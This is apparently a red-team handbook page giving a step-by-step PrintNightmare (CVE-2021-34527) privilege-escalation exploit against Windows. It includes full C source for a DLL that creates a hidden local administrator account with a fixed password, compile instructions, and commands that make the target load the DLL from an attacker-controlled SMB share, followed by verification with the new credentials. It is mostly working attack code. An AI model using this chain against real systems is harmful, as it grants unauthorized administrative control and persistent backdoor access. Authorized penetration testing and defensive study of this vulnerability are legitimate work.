> For the complete documentation index, see [llms.txt](https://book.redsquad.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://book.redsquad.xyz/windows-hacking/active-directory/5.-privesc-and-misc/exploits/printnightmare.md).

# PrintNightMare - CVE-2021-34527

{% embed url="<https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html>" %}

### Is Spooler active ?

```bash
# with cme
nxc smb $target_ip -M spooler

# with impacket
rpcdump.py @$target_ip | egrep 'MS-RPRN|MS-PAR'
```

### Prepare the exploit

> Here is the DLL we will use, it creates an user and add it as local administrator :relaxed:

{% code title="nightmare.c" %}

```c
#include <windows.h> 

int RunCMD()
{
    system("net users pnightmare Passw0rd123. /add");
    system("net localgroup administrators pnightmare /add");
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        RunCMD();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
```

{% endcode %}

Compile it :&#x20;

```bash
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c
```

Exploit it :&#x20;

```bash
# clone the repo
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare

# prepare smb share with the nightmare.dll inside
smbserver.py -smb2support share .

# exploit
python3 CVE-2021-1675.py $domain/$user:$password@$hostnameanddomainname '\\192.168.56.1\share\nightmare.dll'

# verify
cme smb $target_ip -u pnightmare -p 'Passw0rd123.'
```